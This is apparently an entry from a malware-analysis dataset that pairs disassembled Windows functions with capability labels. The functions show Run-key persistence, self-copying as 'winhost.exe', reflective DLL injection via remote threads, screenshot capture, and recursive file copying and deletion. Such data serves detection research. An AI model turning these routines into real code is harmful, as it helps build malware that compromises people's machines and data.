joyce8/EMBER2024-capa huggingface dataset:
Function at 0x13f22dd00
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
push rdi
sub rsp, 0x30
mov rsi, rdx
lea rax, [r11 + 0x18]
mov rbx, rcx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [r11 - 0x18], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x13f22dd88
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasw ax, word [rdi]
lea r9d, [rax + 1]
xor r8d, r8d
not rcx
lea edx, [rcx + rcx]
mov rcx, qword [rsp + 0x50]
mov dword [rsp + 0x28], edx
mov rdx, rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
jne 0x13f22dd82
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x13f22dd8a
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x13f22dd9c
Capabilities:
Copy file
Create directory
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x670
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rsp + 0x660], rax
xor r9d, r9d
mov rsi, rdx
lea rax, [rsp + 0x450]
mov rbx, rcx
lea edx, [r9 + 0x1c]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xor ebp, ebp
test eax, eax
js 0x13f22ded8
mov ecx, ebp
movzx eax, word [rsp + rcx + 0x450]
add rcx, 2
mov word [rsp + rcx + 0x23e], ax
test ax, ax
jne 0x13f22ddee
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x240]
repne scasw ax, word [rdi]
mov rax, qword [str.Microsoft]
lea rcx, [rsp + 0x240]
mov qword [rdi - 2], rax
mov rax, qword [0x13f25f208]
xor edx, edx
mov qword [rdi + 6], rax
mov eax, dword [0x13f25f210]
mov dword [rdi + 0xe], eax
movzx eax, word [0x13f25f214]
mov word [rdi + 0x12], ax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov rdx, rbp
movzx eax, word [rsp + rdx + 0x240]
add rdx, 2
mov word [rsp + rdx + 0x2e], ax
test ax, ax
jne 0x13f22de55
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x30]
repne scasw ax, word [rdi]
mov rax, qword [str.winhost.exe]
lea rdx, [rsp + 0x30]
mov qword [rdi - 2], rax
mov rax, qword [0x13f25f220]
xor r8d, r8d
mov qword [rdi + 6], rax
mov rax, qword [0x13f25f228]
mov rcx, rsi
mov qword [rdi + 0xe], rax
movzx eax, word [0x13f25f230]
mov word [rdi + 0x16], ax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x13f22ded8
lea rdx, [rsp + 0x30]
mov r8d, 0x103
mov rcx, rbx
call fcn.13f23e384
mov word [rbx + 0x206], bp
mov al, 1
jmp 0x13f22deda
xor al, al
mov rcx, qword [rsp + 0x660]
xor rcx, rsp
call fcn.13f23c0b0
mov rbx, qword [rsp + 0x6a0]
add rsp, 0x670
pop rdi
pop rsi
pop rbp
ret
Function at 0x13f22e104
Capabilities:
Enumerate pe sections

Disassembly:
mov r8d, ecx
movsxd rcx, dword [rdx + 0x3c]
add rcx, rdx
movzx eax, word [rcx + 0x14]
lea r9, [rax + rcx + 0x18]
cmp r8d, dword [r9 + 0x14]
jae 0x13f22e121
mov eax, r8d
ret
movzx r10d, word [rcx + 6]
xor edx, edx
cmp dx, r10w
jae 0x13f22e167
movzx eax, dx
lea rcx, [rax + rax*4]
mov r11d, dword [r9 + rcx*8 + 0xc]
cmp r8d, r11d
jb 0x13f22e14d
mov eax, dword [r9 + rcx*8 + 0x10]
lea ecx, [r11 + rax]
cmp r8d, ecx
jb 0x13f22e152
inc dx
jmp 0x13f22e128
movzx eax, dx
lea rcx, [rax + rax*4]
mov eax, dword [r9 + rcx*8 + 0x14]
sub eax, dword [r9 + rcx*8 + 0xc]
add eax, r8d
ret
xor eax, eax
ret

Function at 0x13f22e16c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
mov rbx, rcx
mov ecx, 0x10b
cmp word [rax + rbx + 0x18], cx
je 0x13f22e20b
mov ecx, 0x20b
cmp word [rax + rbx + 0x18], cx
jne 0x13f22e20b
mov ecx, dword [rax + rbx + 0x88]
mov rdx, rbx
call fcn.13f22e104
mov rdx, rbx
mov r12d, eax
add r12, rbx
mov ecx, dword [r12 + 0x20]
call fcn.13f22e104
mov ecx, dword [r12 + 0x24]
mov rdx, rbx
mov edi, eax
add rdi, rbx
call fcn.13f22e104
mov ebp, dword [r12 + 0x18]
mov esi, eax
add rsi, rbx
jmp 0x13f22e207
mov ecx, dword [rdi]
mov rdx, rbx
dec ebp
call fcn.13f22e104
mov ecx, eax
add rcx, rbx
call fcn.13f22e0f8
test rax, rax
jne 0x13f22e228
add rdi, 4
add rsi, 2
test ebp, ebp
jne 0x13f22e1e4
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
mov ecx, dword [r12 + 0x1c]
mov rdx, rbx
call fcn.13f22e104
movzx ecx, word [rsi]
mov rdx, rbx
mov r11d, eax
lea rax, [rbx + r11]
mov ecx, dword [rax + rcx*4]
call fcn.13f22e104
jmp 0x13f22e20d
Function at 0x13f22e24c
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov r12d, r8d
mov rdi, rdx
mov rsi, rcx
xor ebx, ebx
mov dword [rax - 0x38], ebx
mov dword [rax + 0x20], ebx
test rcx, rcx
je 0x13f22e349
test rdx, rdx
je 0x13f22e349
test r8d, r8d
je 0x13f22e349
mov rcx, rdx
call fcn.13f22e16c
mov r13d, eax
test eax, eax
jne 0x13f22e2b0
lea rcx, str.Error:_Cannot_find_Reflective_DLL_offset_
call fcn.13f23e57c
jmp 0x13f22e349
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, r12
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
je 0x13f22e349
mov dword [rdi + 2], r12d
mov qword [rsp + 0x20], rbx
mov r9, r12
mov r8, rdi
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x13f22e349
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
mov r8, r12
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x13f22e349
lea r9, [r14 + r13]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor edx, edx
mov r8d, 0x100000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
mov qword [rsp + 0x48], rax
jmp 0x13f22e352
mov rax, rbx
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret

Function at 0x13f22e608
Capabilities:
Check mutex on windows

Disassembly:
push rbx
sub rsp, 0x20
lea r8, [0x13f25ecd0]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
test rax, rax
je 0x13f22e644
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x13f22e644
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x13f22e646
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x13f22e64c
Capabilities:
Set current directory

Disassembly:
sub rsp, 0xa8
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rsp + 0x98], rax
call fcn.13f2331b0
mov rcx, rax
call fcn.13f2347e4
lea rcx, [rsp + 0x48]
mov rdx, rax
call fcn.13f224e18
lea rcx, [rsp + 0x48]
call fcn.13f224eec
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea r8, [0x13f25ece0]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.13f22a74c
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x20]
call fcn.13f224d7c
mov rcx, rax
call fcn.13f234dc0
lea rcx, [rsp + 0x70]
call fcn.13f224e88
lea rcx, [rsp + 0x48]
call fcn.13f224e88
xor al, al
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.13f23c0b0
add rsp, 0xa8
ret
Function at 0x13f22e6f0
Capabilities:
Set current directory

Disassembly:
sub rsp, 0x88
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rsp + 0x70], rax
call fcn.13f2331b0
lea rcx, [rsp + 0x48]
mov rdx, rax
call fcn.13f224f40
lea r8, str._sqlite.dll
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x20]
call fcn.13f229294
jmp 0x13f22e73b
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x20]
call fcn.13f224fa4
mov rcx, rax
call fcn.13f234890
test al, al
je 0x13f22e730
lea rcx, [rsp + 0x48]
call fcn.13f224fa4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [rsp + 0x20]
call fcn.13f224f98
lea rcx, [rsp + 0x48]
call fcn.13f224f98
xor al, al
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.13f23c0b0
add rsp, 0x88
ret

Function at 0x13f22e790
Capabilities:
Delete file
Set current directory

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rsp + 0x70], rax
call fcn.13f2331b0
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [rsp + 0x48]
mov rdx, rbx
call fcn.13f224f40
lea r8, str.CasperSecurity
lea rcx, [rsp + 0x20]
mov rdx, rax
call fcn.13f22a3e4
lea rcx, [rsp + 0x48]
call fcn.13f224f98
lea rcx, [rsp + 0x20]
call fcn.13f224fa4
mov rcx, rax
call fcn.13f23329c
lea rcx, [0x13f25ed08]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rsp + 0x20]
call fcn.13f224f98
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.13f23c0b0
add rsp, 0x80
pop rbx
ret

Function at 0x13f22ece4
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x30
lea rax, [rsp + 0x50]
lea rdx, [0x13f25f040]
mov r9d, 0x20019
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x13f22ed65
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x40]
lea rdx, [0x13f25de04]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x48]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x40], 4
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov rcx, qword [rsp + 0x50]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x13f22ed65
cmp dword [rsp + 0x48], 1
jne 0x13f22ed65
mov al, 1
jmp 0x13f22ed67
xor al, al
add rsp, 0x30
pop rbx
ret

Function at 0x13f22ed70
Capabilities:
Set registry value

Disassembly:
mov r11, rsp
sub rsp, 0x58
and qword [r11 - 0x18], 0
lea rax, [r11 + 0x10]
lea rdx, str.SoftwareCasperSecurity
mov qword [r11 - 0x20], rax
and qword [r11 - 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0x20006
and dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x13f22edef
mov rcx, qword [rsp + 0x68]
lea r9d, [rax + 4]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], r9d
lea rdx, [0x13f25de14]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x60], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x58
ret
Function at 0x13f22edf4
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
call fcn.13f221024
call fcn.13f22e608
test al, al
je 0x13f22ee11
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.13f22e048
call fcn.13f22e854
call fcn.13f22e6f0
call fcn.13f22ece4
test al, al
jne 0x13f22ee33
call fcn.13f22e828
call fcn.13f22ed70
mov ebx, 0x14
call fcn.13f22e92c
mov ecx, 0x32c8
call qword [sym.imp.KERNEL32.dll_Sleep]
dec rbx
jne 0x13f22ee38
call fcn.13f22e854
call fcn.13f22ec00
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x13f22ee33

Function at 0x13f22f48c
Capabilities:
Capture screenshot

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x80
mov esi, ecx
xor ecx, ecx
mov r12, r8
mov ebp, edx
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.USER32.dll_GetDC]
mov r8d, ebp
mov rcx, rax
mov edx, esi
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rcx, rbx
mov rdx, rax
mov rdi, rax
call qword [sym.imp.GDI32.dll_SelectObject]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov dword [rsp + 0x40], 0xcc0020
and dword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
mov dword [rsp + 0x20], ebp
call qword [sym.imp.GDI32.dll_BitBlt]
lea rcx, [rsp + 0x50]
mov rdx, r12
call fcn.13f22f5c8
mov rcx, rdi
mov rdx, rax
call fcn.13f22f3f0
mov rcx, rdi
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, r12
call fcn.13f224f98
mov al, 1
add rsp, 0x80
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x13f232fb4
Capabilities:
Copy file

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x240
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov r13, rdx
mov rsi, rcx
call fcn.13f22dad4
xor edi, edi
mov rbp, rax
test rax, rax
je 0x13f23305a
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [0x13f25db10]
mov rcx, rax
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x13f25db20]
mov rcx, r12
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rbp + 2]
lea rdx, [0x13f25db30]
lea rcx, [rsp + 0x20]
mov r8, r13
call rbx
lea rdx, [rsp + 0x20]
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x13f23304e
mov dil, 1
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, dil
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.13f23c0b0
mov rbx, qword [rsp + 0x280]
add rsp, 0x240
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x13f233184
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x28
and qword [rsp + 0x30], 0
lea r9, [rsp + 0x30]
lea rcx, [0x13f259ee0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov rax, qword [rsp + 0x30]
add rsp, 0x28
ret

Function at 0x13f2331b0
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x20
lea r9, [rsp + 0x30]
lea rcx, [0x13f259ed0]
xor ebx, ebx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x30], rbx
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
cmovns rbx, qword [rsp + 0x30]
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x13f2331e8
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x13f233227
xor al, al
jmp 0x13f233277
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
test eax, eax
je 0x13f23326c
jmp 0x13f233256
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call fcn.13f23e9dc
test eax, eax
je 0x13f23326a
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x13f233245
jmp 0x13f23326c
mov bl, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.13f23c0b0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x13f23329c
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x5b8]
sub rsp, 0x6b0
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp + 0x5a0], rax
lea rdx, [rbp + 0x390]
mov rbx, rcx
sub rdx, rcx
movzx eax, word [rcx]
mov word [rdx + rcx], ax
add rcx, 2
test ax, ax
jne 0x13f2332d8
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x390]
repne scasw ax, word [rdi]
mov eax, dword [0x13f25dbfc]
lea rdx, [rsp + 0x30]
mov dword [rdi - 2], eax
movzx eax, word [0x13f25dc00]
lea rcx, [rbp + 0x390]
mov word [rdi + 2], ax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsp + 0x20], rax
cmp rax, 0xffffffffffffffff
jne 0x13f233330
xor al, al
jmp 0x13f23341d
mov r8d, 2
lea rsi, [rsp + 0x5c]
lea rdi, [0x13f25dae4]
mov ecx, r8d
repe cmpsw word [rsi], word [rdi]
je 0x13f2333eb
lea rsi, [rsp + 0x5c]
lea rdi, [0x13f25dc04]
lea ecx, [r8 + 1]
repe cmpsw word [rsi], word [rdi]
je 0x13f2333eb
lea rdx, [rbp + 0x180]
mov rcx, rbx
sub rdx, rbx
movzx eax, word [rcx]
mov word [rdx + rcx], ax
add rcx, r8
test ax, ax
jne 0x13f233374
or rdx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rbp + 0x180]
mov rcx, rdx
repne scasw ax, word [rdi]
mov eax, dword [0x13f25db1c]
mov rcx, rdx
sub rdi, r8
lea rdx, [rsp + 0x5c]
mov dword [rdi], eax
xor eax, eax
lea rdi, [rbp + 0x180]
repne scasw ax, word [rdi]
sub rdi, r8
xor ecx, ecx
movzx eax, word [rdx + rcx]
mov word [rdi + rcx], ax
add rcx, r8
test ax, ax
jne 0x13f2333ba
test byte [rsp + 0x30], 0x10
lea rcx, [rbp + 0x180]
je 0x13f2333e1
call fcn.13f23329c
test al, al
jmp 0x13f2333e9
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x13f233445
mov rdi, qword [rsp + 0x20]
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x13f233330
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
setne al
mov rcx, qword [rbp + 0x5a0]
xor rcx, rsp
call fcn.13f23c0b0
lea r11, [rsp + 0x6b0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x13f233329
Function at 0x13f233458
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x7d0]
sub rsp, 0x8d0
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp + 0x7c0], rax
mov rsi, rdx
mov qword [rsp + 0x28], rdx
mov rdi, rcx
mov qword [rsp + 0x20], rcx
mov r8, rcx
lea rdx, [0x13f25dc10]
lea rcx, [rbp + 0x5b0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x5b0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x13f2335d2
test byte [rsp + 0x40], 0x10
jne 0x13f2335f4
test byte [rsp + 0x40], 2
jne 0x13f2335f4
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0x34], eax
cmp qword [rsp + 0x30], 0x1f40
jge 0x13f2335b3
lea r9, [rsp + 0x6c]
lea rdx, [0x13f25dc20]
lea rcx, [rbp + 0x190]
mov r8, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x190]
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
lea rdx, [0x13f25dc30]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x13f23359f
lea rdx, [0x13f25dc40]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x13f23359f
lea rdx, [0x13f25dc50]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x13f23359f
lea rdx, [0x13f25dc60]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x13f23359f
lea rdx, [0x13f25dc70]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x13f23359f
lea rdx, [0x13f25dc80]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
jne 0x13f2335ae
lea rcx, [rbp + 0x190]
mov rdx, rsi
call fcn.13f232fb4
mov rdi, qword [rsp + 0x20]
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x13f2334c6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x7c0]
xor rcx, rsp
call fcn.13f23c0b0
mov rbx, qword [rsp + 0x900]
add rsp, 0x8d0
pop rdi
pop rsi
pop rbp
ret
lea rsi, [rsp + 0x6c]
lea rdi, [0x13f25db2c]
mov ecx, 2
repe cmpsw word [rsi], word [rdi]
je 0x13f23367c
lea rsi, [rsp + 0x6c]
lea rdi, [0x13f25dc88]
mov ecx, 3
repe cmpsw word [rsi], word [rdi]
je 0x13f23367c
lea rcx, [rsp + 0x6c]
call fcn.13f2330e8
mov rdi, qword [rsp + 0x20]
test al, al
jne 0x13f233686
lea r9, [rsp + 0x6c]
lea rdx, str._s_s
lea rcx, [rbp + 0x3a0]
mov r8, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x3a0]
call fcn.13f233084
mov rsi, qword [rsp + 0x28]
test al, al
je 0x13f2335b3
lea rcx, [rbp + 0x3a0]
mov rdx, rsi
call fcn.13f233458
jmp 0x13f2335b3
mov rsi, qword [rsp + 0x28]
jmp 0x13f2335ae
mov rsi, qword [rsp + 0x28]
jmp 0x13f2335b3
Function at 0x13f233690
Capabilities:
Copy file
Create directory

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x7c8]
sub rsp, 0x8c0
mov rax, qword [0x13f268490]
xor rax, rsp
mov qword [rbp + 0x7b0], rax
mov rax, rdx
mov qword [rsp + 0x28], rdx
mov rbx, rcx
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x13f23388c
lea rdx, [rbp + 0x5a0]
mov rcx, rbx
sub rdx, rbx
movzx eax, word [rcx]
mov word [rdx + rcx], ax
add rcx, 2
test ax, ax
jne 0x13f2336ea
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x5a0]
repne scasw ax, word [rdi]
mov eax, dword [0x13f25dc9c]
lea rdx, [rsp + 0x30]
mov dword [rdi - 2], eax
movzx eax, word [0x13f25dca0]
lea rcx, [rbp + 0x5a0]
mov word [rdi + 2], ax
call qword [reloc.KERNEL32.dll_FindFirstFileW]
or r10, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
cmp rax, r10
je 0x13f23388c
mov r8d, 2
lea rsi, [rsp + 0x5c]
lea rdi, [0x13f25db3c]
mov ecx, r8d
repe cmpsw word [rsi], word [rdi]
je 0x13f233861
lea rsi, [rsp + 0x5c]
lea rdi, [0x13f25dca4]
lea ecx, [r8 + 1]
repe cmpsw word [rsi], word [rdi]
je 0x13f233861
lea rdx, [rbp + 0x390]
mov rcx, rbx
sub rdx, rbx
movzx eax, word [rcx]
mov word [rdx + rcx], ax
add rcx, r8
test ax, ax
jne 0x13f233786
xor eax, eax
lea rdi, [rbp + 0x390]
mov rcx, r10
repne scasw ax, word [rdi]
mov eax, dword [0x13f25db54]
mov rcx, r10
sub rdi, r8
lea rdx, [rsp + 0x5c]
mov dword [rdi], eax
xor eax, eax
lea rdi, [rbp + 0x390]
repne scasw ax, word [rdi]
sub rdi, r8
xor ecx, ecx
movzx eax, word [rdx + rcx]
mov word [rdi + rcx], ax
add rcx, r8
test ax, ax
jne 0x13f2337c8
mov rax, qword [rsp + 0x28]
lea rdx, [rbp + 0x180]
mov rcx, rax
sub rdx, rax
movzx eax, word [rcx]
mov word [rdx + rcx], ax
add rcx, r8
test ax, ax
jne 0x13f2337ea
xor eax, eax
lea rdi, [rbp + 0x180]
mov rcx, r10
repne scasw ax, word [rdi]
mov eax, dword [0x13f25db64]
mov rcx, r10
sub rdi, r8
lea rdx, [rsp + 0x5c]
mov dword [rdi], eax
xor eax, eax
lea rdi, [rbp + 0x180]
repne scasw ax, word [rdi]
sub rdi, r8
xor ecx, ecx
movzx eax, word [rdx + rcx]
mov word [rdi + rcx], ax
add rcx, r8
test ax, ax
jne 0x13f23382c
test byte [rsp + 0x30], 0x10
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x390]
je 0x13f233858
call fcn.13f233690
jmp 0x13f233861
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov rdi, qword [rsp + 0x20]
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov r10, 0xffffffffffffffff
test eax, eax
jne 0x13f233742
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x7b0]
xor rcx, rsp
call fcn.13f23c0b0
lea r11, [rsp + 0x8c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret